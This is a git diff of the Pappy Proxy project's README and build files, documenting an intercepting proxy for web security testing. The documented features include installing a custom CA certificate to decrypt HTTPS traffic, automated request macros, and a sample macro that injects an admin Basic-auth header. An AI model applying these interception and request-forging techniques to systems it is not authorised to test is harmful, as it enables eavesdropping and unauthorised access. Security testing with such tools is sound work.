diff --git a/.gitignore b/.gitignore index b0e4f0f..4168236 100644 --- a/.gitignore +++ b/.gitignore @@ -10,3 +10,4 @@ TAGS config.json build/* *.egg-info/* +.#* diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..0a1edf6 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "pappyproxy/lists/fuzzdb"] + path = pappyproxy/lists/fuzzdb + url = https://github.com/fuzzdb-project/fuzzdb.git diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..3539b48 --- /dev/null +++ b/Makefile @@ -0,0 +1,6 @@ + +docs: + pandoc --from=markdown --to=rst --output=docs/source/overview.rst README.md + cd docs; make html + +.PHONY: docs diff --git a/README.md b/README.md index dd325b3..af4049b 100644 --- a/README.md +++ b/README.md @@ -3,13 +3,13 @@ The Pappy Proxy Introduction ------------ -The Pappy (**P**roxy **A**ttack **P**roxy **P**rox**Y**) Proxy is an intercepting proxy for performing web application security testing. Its features are often similar, or straight up rippoffs from [Burp Suite](https://portswigger.net/burp/). However, Burp Suite is neither open source nor a command line tool, thus making a proxy like Pappy inevitable. The project is still in its early stages, so there are bugs and only the bare minimum features, but it should be able to do some cool stuff soon (I'm already using it for realtm work). +The Pappy (**P**roxy **A**ttack **P**roxy **P**rox**Y**) Proxy is an intercepting proxy for performing web application security testing. Its features are often similar, or straight up rippoffs from [Burp Suite](https://portswigger.net/burp/). However, Burp Suite is neither open source nor a command line tool, thus making a proxy like Pappy inevitable. The project is still in its early stages, so there are bugs and only the bare minimum features, but it should be able to do some cool stuff soon (I'm already using it for real work). Contributing ------------ **I am taking any and all feature requests.** If you've used Burp and had any inconvenience with it, tell me about it and I'll do everything in my power to make sure Pappy doesn't have those issues. Or even better, if you want Burp to do something that it doesn't already, let me know so that I can ~~use it to stomp them into the dust~~ improve my project. -If you're brave and want to try and contribute code, please let me know. Right now the codebase is a giant clusterfun which I have refactored a few times already, but I would be more than happy to find a stable part of the codebase that you can contribute to. +If you're brave and want to try and contribute code, please let me know. Right now the codebase is kind of rough and I have refactored it a few times already, but I would be more than happy to find a stable part of the codebase that you can contribute to. How to Use It ============= @@ -18,14 +18,14 @@ Installation ------------ Pappy supports OS X and Linux (sorry Windows). Installation requires `pip` or some other command that can handle a `setup.py` with requirements. Once the requirements are installed, you can check that it installed correctly by running `pappy -l` to start the proxy. ``` -$ git clone https://github.com/roglew/pappy-proxy.git +$ git clone --recursive https://github.com/roglew/pappy-proxy.git $ cd pappy-proxy $ pip install . ``` Quickstart ---------- -Pappy projects take up an entire directory. While a full directory may seem like a dumb idea compared to storing everything in a zip file, future releases will do fun stuff like generate attack scripts or other files that need to be used by other programs on a regular basis. To start a project, do something like: +Pappy projects take up an entire directory. Any generated scripts, exported responses, etc. will be placed in the current directory so it's good to give your project a directory of its own. To start a project, do something like: ``` $ mkdir test_project @@ -35,15 +35,15 @@ Copying default config to directory Proxy is listening on port 8000 itsPappyTime> exit $ ls -data.db project_config.json project_config.pyc +data.db project_config.json $ ``` -And that's it! The proxy will by default be running on port 8000 and bound to localhost (to keep the hackers out). You can modify the port/interface in `config.json`. You can list all your intercepted requests with `ls`, view a full request with `vfq ` or view a full response with `vfs `. No you can't delete them yet. I'm working on it. +And that's it! The proxy will by default be running on port 8000 and bound to localhost (to keep the hackers out). You can modify the port/interface in `config.json`. You can list all your intercepted requests with `ls`, view a full request with `vfq ` or view a full response with `vfs `. Right now, the only command to delete requests is `filter_prune` which deletes all the requests that aren't in the current context (look at the sections on the context/filter strings for more information on that). Lite Mode --------- -If you don't want to dirty up a directory, you can run Pappy in "lite" mode. Pappy will use the default configuration settings and will create a temporary datafile in `/tmp` to use. When you quit, the file will be deleted. If you want to run Pappy in line mode, run Pappy with either `-l` or `--lite`. +If you don't want to dirty up a directory, you can run Pappy in "lite" mode. Pappy will use the default configuration settings and will create a temporary data file in `/tmp` to use. When you quit, the file will be deleted. If you want to run Pappy in lite mode, run Pappy with either `-l` or `--lite`. Example: ``` @@ -57,7 +57,7 @@ $ Adding The CA Cert to Your Browser ---------------------------------- -In order for Pappy to view data sent using HTTPS, you need to add a generated CA cert (`certificate.crt`) to your browser. Certificates are generated using the `gencerts` command and are by default stored in the same directory as `pappy.py`. This allows Pappy to act as a CA and MITM HTTPS connections. I believe that Firefox and Chrome ignore keychain/system certs, so you will have to install the CA cert to the browsers instead of (or in addition to) adding the cert to your keychain. +In order for Pappy to view data sent using HTTPS, you need to add a generated CA cert (`certificate.crt`) to your browser. Certificates are generated using the `gencerts` command and are by default stored in the same directory as the main `pappy.py` script. This allows Pappy to act as a CA and sign any HTTPS certificate it wants without the browser complaining. This allows Pappy to decrypt and modify HTTPS requests. The certificate installation instructions are different for each browser. ### Firefox You can add the CA cert to Firefox by going to `Preferences -> Advanced -> View Certificates -> Authorities -> Import` and selecting the `certificate.crt` file in the `certs` directory. @@ -88,13 +88,15 @@ The following tokens will also be replaced with values: |:--|:--| | `{PAPPYDIR}` | The directory where Pappy's files are stored | +See the default `config.json` for examples. + Generating Pappy's CA Cert -------------------------- -In order to intercept and modify requests to sites that use HTTPS, you have to generate and install CA certs to your browser. You can do this by running the `gencerts` command in Pappy. By default, certs are stored in the same directory as Pappy's script files. However, you can change where Pappy will look for the private key file in the config file. In addition, you can give the `gencerts` command an argument to have it put the generated certs in a different directory. +In order to intercept and modify requests to sites that use HTTPS, you have to generate and install CA certs to your browser. You can do this by running the `gencerts` command in Pappy. By default, certs are stored in the same directory as Pappy's script files. This is also the default location that Pappy will look for certificates (unless you specify otherwise in `config.json`.) In addition, you can give the `gencerts` command an argument to have it put the generated certs in a different directory. | Command | Description | |:--------|:------------| -| `gencerts [/path/to/put/certs/in]` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. | +| `gencerts [/path/to/put/certs/in]` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. If no path is given, the certs will be placed in the default certificate location. Overwrites any existing certs. | Browsing Recorded Requests/Responses ------------------------------------ @@ -103,13 +105,14 @@ The following commands can be used to view requests and responses | Command | Aliases | Description | |:--------|:--------|:------------| | `ls [a|`]| list, ls |List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. | -| `viq [u]` | view_request_info, viq | View additional information about a request. Includes the target port, if SSL was used, and other information. If 'u' is given as an additional argument, it will print information on the unmangled version of the request. | -| `vfq [u]` | view_full_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the request. | -| `vhq [u]` | view_request_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. If 'u' is given as an additional argument, it will print the unmangled version of the request. | -| `vfs [u]` | view_full_response, vfs |[V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the response. | -| `vhs [u]` | view_response_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. If 'u' is given as an additional argument, it will print the unmangled version of the response. | +| `sm` | sm, site_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. | +| `viq ` | view_request_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. | +| `vfq ` | view_full_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. | +| `vhq ` | view_request_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. | +| `vfs ` | view_full_response, vfs |[V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. | +| `vhs ` | view_response_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. | -The table shown will have the following columns: +The table shown by `ls` will have the following columns: | Label | Description | |:------|:------------| @@ -123,25 +126,64 @@ The table shown will have the following columns: | Time | The time in seconds it took to complete the request | | Mngl | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'. | +Tags +---- +You can apply tags to a request and use filters to view specific tags. The following commands can be used to apply and remove tags to requests: + +| Command | Aliases | Description | +|:--------|:--------|:------------| +| `tag [id(s)]` | tag | Apply a tag to the given requests. If no IDs are given, the tag will be applied to all in-context requests. | +| `untag [id(s)]` | untag | Remove a tag from the given ids. If no IDs are given, the tag is removed from every in-context request. | +| `clrtag ` | clrtag | Removes all tags from the given ids. | + +Request IDs +----------- +Request IDs are how you identify a request and every command that involves specifying a request will take one or more request IDs. You can see it when you run `ls`. In addition, you can prepend an ID with prefixes to get requests or responses associated with the request (for example if you modified the request or its response with the interceptor, you can get the unmangled versions.) Here are the valid prefixes: + +| Prefix | Description | +|:-------|:------------| +| `u` | If the request was mangled, prefixing the ID with `u` will result in the unmangled version of the request. The resulting request will not have an associated response because it was never submitted to the server. | +| `s` | If the response was mangled, prefixing the request ID `s` will result in the same request but its associated response will be the unmangled version. | + +I know it sounds kind of unintuitive. Here are some example commands that will hopefully make things clearer. Suppose request 1 had its request mangled, and request 2 had its response mangled. + +* `vfq 1` Prints the mangled version of request 1 +* `vfq u1` Prints the unmangled version of request 1 +* `rp u1` Open the repeater with the unmangled version of request 1 +* `vfs u1` Throws an error because the unmangled version was never submitted +* `vfs s1` Throws an error because the response for request 1 was never mangled +* `vfs 2` Prints the mangled response of request 2 +* `vfs s2` Prints the unmangled response of request 2 +* `vfq u2` Throws an error because request 2's request was never mangled +* `vfs u2` Throws an error because request 2's request was never mangled + +### Passing Multiple Request IDs to a Command + +Some arguments can take multiple IDs for an argument. To pass multiple IDs to a command, separate the IDs with commas **(no spaces!)**. A few examples: + +* `viq 1,2,u3` View information about requests 1, 2, and the unmangled version of 3 +* `gma foo 4,5,6` Generate a macro with definitions for requests 4, 5, and 6 + Context ------- -The context is a set of filters that define which requests are considered "active". Only requests in the current context are displayed with `ls`, and eventually contexts will be how Pappy will manage requests for group operations. By default, the context includes every single request that passes through the proxy. You can limit down the current context by applying filters. Filters apply rules such as "the response code must equal 500" or "the host must contain google.com". Once you apply one or more filters, only requests/responses which pass every active filter will be a part of the current context. +The context is a set of filters that define which requests are considered "active". Only requests in the current context are displayed with `ls`. By default, the context includes every single request that passes through the proxy. You can limit down the current context by applying filters. Filters apply rules such as "the response code must equal 500" or "the host must contain google.com". Once you apply one or more filters, only requests/responses which pass every active filter will be a part of the current context. | Command | Aliases | Description | |:--------|:------------|:---| | `f ` | filter, fl, f |Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string | | `fc` | filter_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope | | `fls` | filter_list, fls | Print the filters that make up the current context | +| `filter_prune` | filter_prune | Delete all the requests that aren't in the current context from the data file | Filter Strings -------------- -Filter strings define a condition that a request/response pair must pass to be part of a context. Most filter strings have the following format: +Filter strings define a condition that a request/response pair must pass to be part of the context. Most filter strings have the following format: ``` ``` -Where `` is some part of the request/response, `` is some comparison to ``. Also **if you prefix a comparer with 'n' it turns it into a negation.** For example, if you wanted a filter that only matches requests to target.org, you could use the following filter string: +Where `` is some part of the request/response, `` is some comparison to ``. For example, if you wanted a filter that only matches requests to `target.org`, you could use the following filter string: ``` host is target.org @@ -151,6 +193,16 @@ comparer = "is" value = "target.org" ``` +Also **if you prefix a comparer with 'n' it turns it into a negation.** Using the previous example, the following will match any request except for ones where the host contains `target.org`: + +``` +host nis target.org + +field = "host" +comparer = "nis" +value = "target.org" +``` + For fields that are a list of key/value pairs (headers, get params, post params, and cookies) you can use the following format: ``` @@ -190,13 +242,14 @@ Matches both A and B but not C | sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value | | setcookie | setcookie, stck | A cookie set by a response | Key/Value | | statuscode | statuscode, sc, responsecode | The response code of the response | Numeric | +| tag | tag | Any of the tags applied to the request | String | ### List of comparers | Field Name | Aliases | Description | |:--------|:------------|:-----| | is | is | Exact string match | | contains | contains, ct | A contain B is true if B is a substring of A | -| containsr | containsr, ctr | A containr B is true if A matches regexp B (NOT IMPLEMENTED) | +| containsr | containsr, ctr | A containr B is true if A matches regexp B | | exists | exists, ex | A exists B if A is not an empty string (likely buggy) | | Leq | Leq | A Leq B if A's length equals B (B must be a number) | | Lgt | Lgt | A Lgt B if A's length is greater than B (B must be a number ) | @@ -207,21 +260,32 @@ Matches both A and B but not C Scope ----- -Scope is a set of rules to define whether Pappy should mess with a request. You define the scope by setting the context to what you want the scope to be and running `scope_save`. The scope is saved in data.db and is automatically restored when using the same project directory. +Scope is a set of rules to define whether Pappy should mess with a request. You define the scope by setting the context to what you want the scope to be and running `scope_save`. The scope is saved in the data file and is automatically restored when using the same project directory. -Any requests which don't match all the filters in the scope will be passed straight to the browser and will not be caught by the interceptor or recorded in the database. This is useful to make sure you don't accidentally do something like log in to your email through the proxy and have your plaintext username/password stored and accidentally shown to your coworkers. +Any requests which don't match all the filters in the scope will be passed straight to the browser and will not be caught by the interceptor or recorded in the data file. This is useful to make sure you don't accidentally do something like log in to your email through the proxy and have your plaintext username/password stored. | Command | Aliases | Description | |:--------|:--------|:------------| -| `scope_save` |scope_save| Set the current context to be the scope | -| `sr` |scope_reset, sr| Set the current context to the scope | -| `scope_delete` |scope_delete| Clear the scope (everything's in scope!) | -| `scope_list` |scope_list, sls| List all the filters that are applied to the scope | +| `scope_save` |`scope_save`| Set the current context to be the scope | +| `sr` |`scope_reset`, `sr`| Set the current context to the scope | +| `scope_delete` |`scope_delete`| Clear the scope (everything's in scope!) | +| `scope_list` |`scope_list`, `sls`| List all the filters that are applied to the scope | + +### Built-In Filters +Pappy also includes some built in filters that you can apply. These are things that you may want to filter by but may be too tedius to type out. The `fbi` command also supports tab completion. +| Filter | Description | +|:--|:--| +| `not_image` | Matches anything that isn't an image. | +| `not_jscss` | Matches anything that isn't JavaScript or CSS. | + +| Command | Aliases | Description | +|:--------|:--------|:------------| +| `fbi ` | `builtin_filter`, `fbi` | Apply a built-in filter to the current context | Interceptor ----------- -This feature is like Burp's proxy with "Intercept Mode" turned on, except it's not turned on unless you explicitly turn it on. When the proxy gets a request while in intercept mode, it lets you edit it before it forwards it to the server. In addition, it can stop responses from the server and let you edit them before they get forwarded to the browser. When you run the command, you can pass `request` and/or `response` as arguments to say whether you would like to intercept requests and/or responses. Only in-scope requests/responses will be intercepted (see Scope section). +This feature is like Burp's proxy with "Intercept Mode" turned on, except it's not turned on unless you explicitly turn it on. When the proxy gets a request while in intercept mode, it lets you edit it before forwarding it to the server. In addition, it can stop responses from the server and let you edit them before they get forwarded to the browser. When you run the command, you can pass `req` and/or `rsp` as arguments to say whether you would like to intercept requests and/or responses. Only in-scope requests/responses will be intercepted (see Scope section). The interceptor will use your EDITOR variable to decide which editor to edit the request/response with. If no editor variable is set, it will default to `vi`. @@ -229,7 +293,7 @@ To forward a request, edit it, save the file, then quit. | Command | Aliases | Description | |:--------|:--------|:------------| -| `ic +` | intercept, ic | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in `request` to intercept requests, `response` to intercept responses, or both to intercept both. | +| `ic +` | `intercept`, `ic` | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in `request` to intercept requests, `response` to intercept responses, or both to intercept both. | ``` Intercept both requests and responses: @@ -248,11 +312,11 @@ Be totally useless: > ic ``` +To drop a request, delete everything, save and quit. + Repeater -------- -This feature is like Burp's repeater (yes, really). You choose a request and Pappy will open vim in a split window with your request on the left and the original response on the right. You can make changes to the request and then run ":RepeaterSubmitBuffer" to submit the modified request. The response will be displayed on the right. This command is bound to `f` by default, but you can rebind it in your vimrc (I think, dunno if vim will complain if it's undefined). This command will submit whatever buffer your cursor is in, so make sure it's in the request buffer. - -To drop a request, delete everything, save and quit (`ggdG:wq`). +This feature is like Burp's repeater (yes, really). You choose a request and Pappy will open vim in a split window with your request on the left and the original response on the right. You can make changes to the request and then run ":RepeaterSubmitBuffer" to submit the modified request. The response will be displayed on the right. This command is bound to `f` by default, but you can bind it to something else too in your vimrc (I think, dunno if vim will complain if the function undefined which it will be for regular files). This command will submit whatever buffer your cursor is in, so make sure it's in the request buffer. When you're done with repeater, run ":qa!" to avoid having to save changes to nonexistent files. @@ -264,6 +328,244 @@ When you're done with repeater, run ":qa!" to avoid having to save changes to no |:--------|:-----------|:-------| | `RepeaterSubmitBuffer` | f | Submit the current buffer, split the windows vertically, and show the result in the right window | +Macros +------ +Macros are Pappy's version of Burp's intruder. You can use macros to make automated requests through the proxy and save them to the data file. A macro file is any python script file in the current directory that is in the form `macro_.py`. An example project directory with macros would be: + +``` +$ ls -l +-rw-r--r-- 1 scaryhacker wheel 150 Nov 26 11:17 config.json +-rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db +-rw-r--r-- 1 scaryhacker wheel 471 Nov 26 18:42 macro_blank.py +-rw-r--r-- 1 scaryhacker wheel 264 Nov 26 18:49 macro_hackthensa.py +-rw-r--r-- 1 scaryhacker wheel 1261 Nov 26 18:37 macro_testgen.py +-rw-r--r-- 1 scaryhacker wheel 241 Nov 26 17:18 macro_test.py +``` + +In this case we have a `blank`, `hackthensa`, `testgen`, and `test` macro. A macro script is any python script that defines a `run_macro(args)` function and a `MACRO_NAME` variable. For example, a simple macro would be: + +``` +--- macro_print.py + +MACRO_NAME = 'Print Macro' + +def run_macro(args): + if args: + print "Hello, %s!" % args[0] + else: + print "Hello, Pappy!" +``` + +You can place this macro in your project directory then load and run it from Pappy. When a macro is run, arguments are passed from the command line. Arguments are separated the same way as they are on the command line, so if you want to use spaces in your argument, you have to put quotes around it. + +``` +$ pappy +Proxy is listening on port 8000 +itsPappyTime> lma +Loaded "" +Loaded "" +Loaded "" +Loaded "" +Loaded "" +itsPappyTime> rma print +Hello, Pappy! +itsPappyTime> rma print NSA +Hello, NSA! +itsPappyTime> rma print Idiot Slayer +Hello, Idiot! +itsPappyTime> rma print "Idiot Slayer" +Hello, Idiot Slayer! +``` + +You'll need to run `lma` every time you make a change to the macro in order to reload it. In addition, any code outside of the `run_macro` function will be run when it the macro gets loaded. + +### Generating Macros From Requests + +You can also generate macros that have Pappy `Request` objects created with the same information as requests you've already made. For example: + +``` +$ pappy +Proxy is listening on port 8000 +itsPappyTime> ls +ID Verb Host Path S-Code Req Len Rsp Len Time Mngl +5 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 -- -- +4 GET vitaly.sexy /netscape.gif 200 OK 0 1135 -- -- +3 GET vitaly.sexy /construction.gif 200 OK 0 28366 -- -- +2 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 -- -- +1 GET vitaly.sexy / 200 OK 0 1201 -- -- +itsPappyTime> gma sexy 1 +Wrote script to macro_sexy.py +itsPappyTime> quit +$ cat macro_sexy.py +from pappyproxy.http import Request, get_request, post_request + +MACRO_NAME = 'Macro 94664581' +SHORT_NAME = '' + +########### +## Requests + +req0 = Request(( +'GET / HTTP/1.1\r\n' +'Host: vitaly.sexy\r\n' +'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' +'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +'Accept-Language: en-US,en;q=0.5\r\n' +'Accept-Encoding: gzip, deflate\r\n' +'Connection: keep-alive\r\n' +'Pragma: no-cache\r\n' +'Cache-Control: no-cache\r\n' +'\r\n' +)) + + +def run_macro(args): + # Example: + # req = req0.copy() # Copy req0 + # req.submit() # Submit the request to get a response + # print req.response.raw_headers # print the response headers + # req.save() # save the request to the data file + # or copy req0 into a loop and use string substitution to automate requests + pass +``` + +If you enter in a value for `SHORT_NAME`, you can use it as a shortcut to run that macro. So if in a macro you set `SHORT_NAME='tm'` you can run it by running `itsPappyTime> rma tm`. + +| Command | Aliases | Description | +|:--------|:--------|:------------| +| `lma [dir]` | `load_macros`, `lma` | Load macros from a directory. If `dir` is not given, use the current directory (the project directory) | +| `rma ` | `run_macro`, `rma` | Run a macro with the given name. You can use the shortname, filename, or long name. | +| `gma [id(s)]` | `generate_macro`, `gma` | Generate a macro with the given name. If request IDs are given, the macro will contain request objects that contain each request. | +| `rpy ` | `rpy` | Print the Python object definitions for each of the given ids | + +### Request Objects + +The main method of interacting with the proxy is through `Request` objects. You can submit a request with `req.sumbit()` and save it to the data file with `req.save()`. The objects also have attributes which can be used to modify the request in a high-level way. Unfortunately, I haven't gotten around to writing full docs on the API and it's still changing every once in a while so I apologize if I pull the carpet out from underneath you. + +Dict-like objects are represented with a custom class called a `RepeatableDict`. I haven't gotten around to writing docs on it yet, so just interact with it like a dict and don't be surprised if it's missing some methods you would expect a dict to have. + +Here is a quick list of attributes that you can use with `Request` objects: + +| Attribute | Settable? | Data Type | Description | +|:--|:--|:--|:--| +| cookies | Yes | RepeatableDict | Cookies sent in the request | +| fragment | Yes | String | The url fragment (The text after the #) | +| full_path | No | String | The path including url params and the fragment | +| full_request | No | String | The full request including headers and data | +| headers | Yes | RepeatableDict | The headers of the request | +| host | Yes | String | The host that the request is sent to | +| is_ssl | Yes | Bool | Whether the request is/was sent over SSL | +| path | Yes | String | The document path (ie www.a.com/this/is/the/path) | +| port | Yes | Integer | The port the request is/was sent to | +| post_params | Yes | RepeatableDict | Post parameters | +| raw_data | Yes | String | The data part of the request | +| raw_headers | No | String | The text of the headers section of the request | +| reqid | Yes | Integer | The ID of the request. If set when save() is called, it replaces the request with the same id in the database | +| response | Yes | Response | The associated response for the request | +| rsptime | No | Datetime Delta | The time it took to complete the request. Set when submit() is called | +| status_line | Yes | String | The status line of the request (ie 'GET / HTTP/1.1') | +| time_end | Yes | Datetime | The time when the request was completed | +| time_start | Yes | Datetime | The time when the request was started | +| unmangled | Yes | Request | If the request was mangled, the unmangled version of the request | +| url | Yes | String | The URL of the request (ie 'https://www.google.com') | +| url_params | Yes | RepeatableDict | The URL parameters of the request | +| verb | Yes | String | The verb used for the request (ie GET, POST, PATCH, HEAD, etc). Doesn't have to be a valid verb. | +| version | Yes | String | The version part of the status line (ie 'HTTP/1.1') | + +Request methods: + +| Function | Description | +|:--|:--| +| submit() | Submit the request through the proxy. Does not save the request to the data file | +| save() | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database | + +And here is a quick list of attributes that you can use with `Response` objects: + +| Attribute | Settable? | Data Type | Description | +|:--|:--|:--|:--| +| cookies | Yes | RepeatableDict | Cookies set by the response | +| headers | Yes | RepeatableDict | The headers of the response | +| response_code | Yes | Integer | The response code of the response | +| response_text | Yes | String | The text associated with the response code (ie OK, NOT FOUND) +| rspid | Yes | Integer | The response id of the response. If this is the same as another response in the database, calling save() on the associated request will replace that response in the database | +| unmangled | Yes | Response | If the response was mangled, this will refer to the unmangled version of the response. Otherwise it is None | +| version | Yes | String | The version part of the status line of the response (ie 'HTTP/1.1') | +| raw_headers | No | String | A text version of the headers of the response | +| status_line | Yes | String | The status line of the response | +| raw_data | Yes | String | The data portion of the response | +| full_response | No | String | The full text version of the response including headers and data | + +Like I said, these interfaces are prone to change and will probably crash when you use them. If you get a traceback, send me an email so I can fix it. + +### Useful Functions + +There are also a few functions which could be useful for creating requests in macros. + +| Function | Description | +|:--|:--| +| get_request(url, url_params={}) | Returns a Request object that contains a GET request to the given url with the given url params | +| post_request(url, post_params={}, url_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params | + +Intercepting Macros +------------------- +Intercepting macros let you mangle requests as they pass through the proxy. Similarly to normal macros, an intercepting macro is any python script with an "int" prefix. For example, `int_name.py` would be a valid intercepting macro name. They are also loaded with the `lma` command. An intercepting macro can define two functions: `mangle_request` or `mangle_response`. Both requests only take a `Request` object as a parameter. `mangle_request` returns either a new, modified Request object to change it, or it can return the original object to not mangle it. The `mange_response` must return a `Response` (not request!) object. The request passed in to `mangle_response` will have an associated response with it. If you want to modify the response, copy `request.response`, make modifications, then return it. If you would like to pass it through untouched, just return `request.response`. + +Note, that due to twisted funkyness, *you cannot save requests from intercepting macros*. Technically you **can**, but to do that you'll have to define `async_mangle_request` (or response) instead of `mangle_request` (or response) then use `Request.async_deep_save` which generates a deferred, then generate a deferred from `async_mangle_requests` (inline callbacks work too). If you've never used twisted before, please don't try. Twisted is hard. Plus the mangled request will be saved before it is submitted anyways. + +Confusing? Here are some example intercepting macros: + +``` +## int_cloud2butt.py + +import string + +MACRO_NAME = 'Cloud to Butt' + +def mangle_response(request): + r = request.response.copy() + r.raw_data = string.replace(r.raw_data, 'cloud', 'butt') + r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt') + return r +``` + +``` +## int_donothing.py + +import string + +MACRO_NAME = 'Do Nothing' + +def mangle_request(request): + return request + +def mangle_response(request): + return request.response +``` + +``` +## int_adminplz.py + +from base64 import base64encode as b64e + +MACRO_NAME = 'Admin Session' + +def mangle_request(request): + r = request.copy() + r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123') + return r +``` + +### Enabling/Disabling Intercepting Macros +You can use the following commands to start/stop intercepting macros + +| Command | Aliases | Description | +|:--------|:--------|:------------| +| `lma [dir]` | `load_macros`, `lma` | Load macros from a directory. If `dir` is not given, use the current directory (the project directory) | +| `rim ` | `run_int_macro`, `rim` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. | +| `sim ` | `stop_int_macro`, `sim` | Stop an intercepting macro. | +| `lim` | `list_int_macros`, `lim` | List all enabled/disabled intercepting macros | +| `gima ` | `generate_int_macro`, `gima` | Generate an intercepting macro with the given name. | + Logging ------- You can watch in real-time what requests are going through the proxy. Verbosisty defaults to 1 which just states when connections are made/lost and some information on what is happening. If verbosity is set to 3, it includes all the data which is sent through the proxy and processed. It will print the raw response from the server, what it decodes it to, etc. Even if you don't run this command, all the information is stored in the dubug directory (the directory is cleared every start though!) @@ -271,3 +573,13 @@ You can watch in real-time what requests are going through the proxy. Verbosisty | Command | Description | |:--------|:------------| | `log [verbosity]` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy | + +Additional Commands +------------------- +This is a list of other random stuff you can do that isn't categorized under anything else. These are mostly commands that I found that I needed while doing a test and just added. They likely don't do a ton of error checking. + +| Command | Aliases | Description | +|:--------|:--------|:------------| +| `dump_response [filename]` | `dump_response` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. | +| `export ` | `export` | Writes either the full request or response to a file in the current directory. | + diff --git a/README.rst b/README.rst deleted file mode 100644 index ac1b33a..0000000 --- a/README.rst +++ /dev/null @@ -1,476 +0,0 @@ -The Pappy Proxy -=============== - -Introduction ------------- - -The Pappy (**P**\ roxy **A**\ ttack **P**\ roxy **P**\ rox\ **Y**) Proxy -is an intercepting proxy for performing web application security -testing. Its features are often similar, or straight up rippoffs from -`Burp Suite `__. However, Burp Suite is -neither open source nor a command line tool, thus making a proxy like -Pappy inevitable. The project is still in its early stages, so there are -bugs and only the bare minimum features, but it should be able to do -some cool stuff soon (I'm already using it for realtm work). - -Contributing ------------- - -**I am taking any and all feature requests.** If you've used Burp and -had any inconvenience with it, tell me about it and I'll do everything -in my power to make sure Pappy doesn't have those issues. Or even -better, if you want Burp to do something that it doesn't already, let me -know so that I can [STRIKEOUT:use it to stomp them into the dust] -improve my project. - -If you're brave and want to try and contribute code, please let me know. -Right now the codebase is a giant clusterfun which I have refactored a -few times already, but I would be more than happy to find a stable part -of the codebase that you can contribute to. - -How to Use It -============= - -Installation ------------- - -Pappy supports OS X and Linux (sorry Windows). Installation requires -``pip`` or some other command that can handle a ``setup.py`` with -requirements. Once the requirements are installed, you can check that it -installed correctly by running ``pappy -l`` to start the proxy. - -:: - - $ git clone https://github.com/roglew/pappy-proxy.git - $ cd pappy-proxy - $ pip install . - -Quickstart ----------- - -Pappy projects take up an entire directory. While a full directory may -seem like a dumb idea compared to storing everything in a zip file, -future releases will do fun stuff like generate attack scripts or other -files that need to be used by other programs on a regular basis. To -start a project, do something like: - -:: - - $ mkdir test_project - $ cd test_project - $ pappy - Copying default config to directory - Proxy is listening on port 8000 - itsPappyTime> exit - $ ls - data.db project_config.json project_config.pyc - $ - -And that's it! The proxy will by default be running on port 8000 and -bound to localhost (to keep the hackers out). You can modify the -port/interface in ``config.json``. You can list all your intercepted -requests with ``ls``, view a full request with ``vfq `` or view a -full response with ``vfs ``. No you can't delete them yet. I'm -working on it. - -Lite Mode ---------- - -If you don't want to dirty up a directory, you can run Pappy in "lite" -mode. Pappy will use the default configuration settings and will create -a temporary datafile in ``/tmp`` to use. When you quit, the file will be -deleted. If you want to run Pappy in line mode, run Pappy with either -``-l`` or ``--lite``. - -Example: - -:: - - $ pappy -l - Temporary datafile is /tmp/tmpw4mGv2 - Proxy is listening on port 8000 - itsPappyTime> quit - Deleting temporary datafile - $ - -Adding The CA Cert to Your Browser ----------------------------------- - -In order for Pappy to view data sent using HTTPS, you need to add a -generated CA cert (``certificate.crt``) to your browser. Certificates -are generated using the ``gencerts`` command and are by default stored -in the same directory as ``pappy.py``. This allows Pappy to act as a CA -and MITM HTTPS connections. I believe that Firefox and Chrome ignore -keychain/system certs, so you will have to install the CA cert to the -browsers instead of (or in addition to) adding the cert to your -keychain. - -Firefox -~~~~~~~ - -You can add the CA cert to Firefox by going to -``Preferences -> Advanced -> View Certificates -> Authorities -> Import`` -and selecting the ``certificate.crt`` file in the ``certs`` directory. - -Chrome -~~~~~~ - -You can add the CA cert to Chrome by going to -``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import`` -and selecting the ``certificate.crt`` file in the ``certs`` directory. - 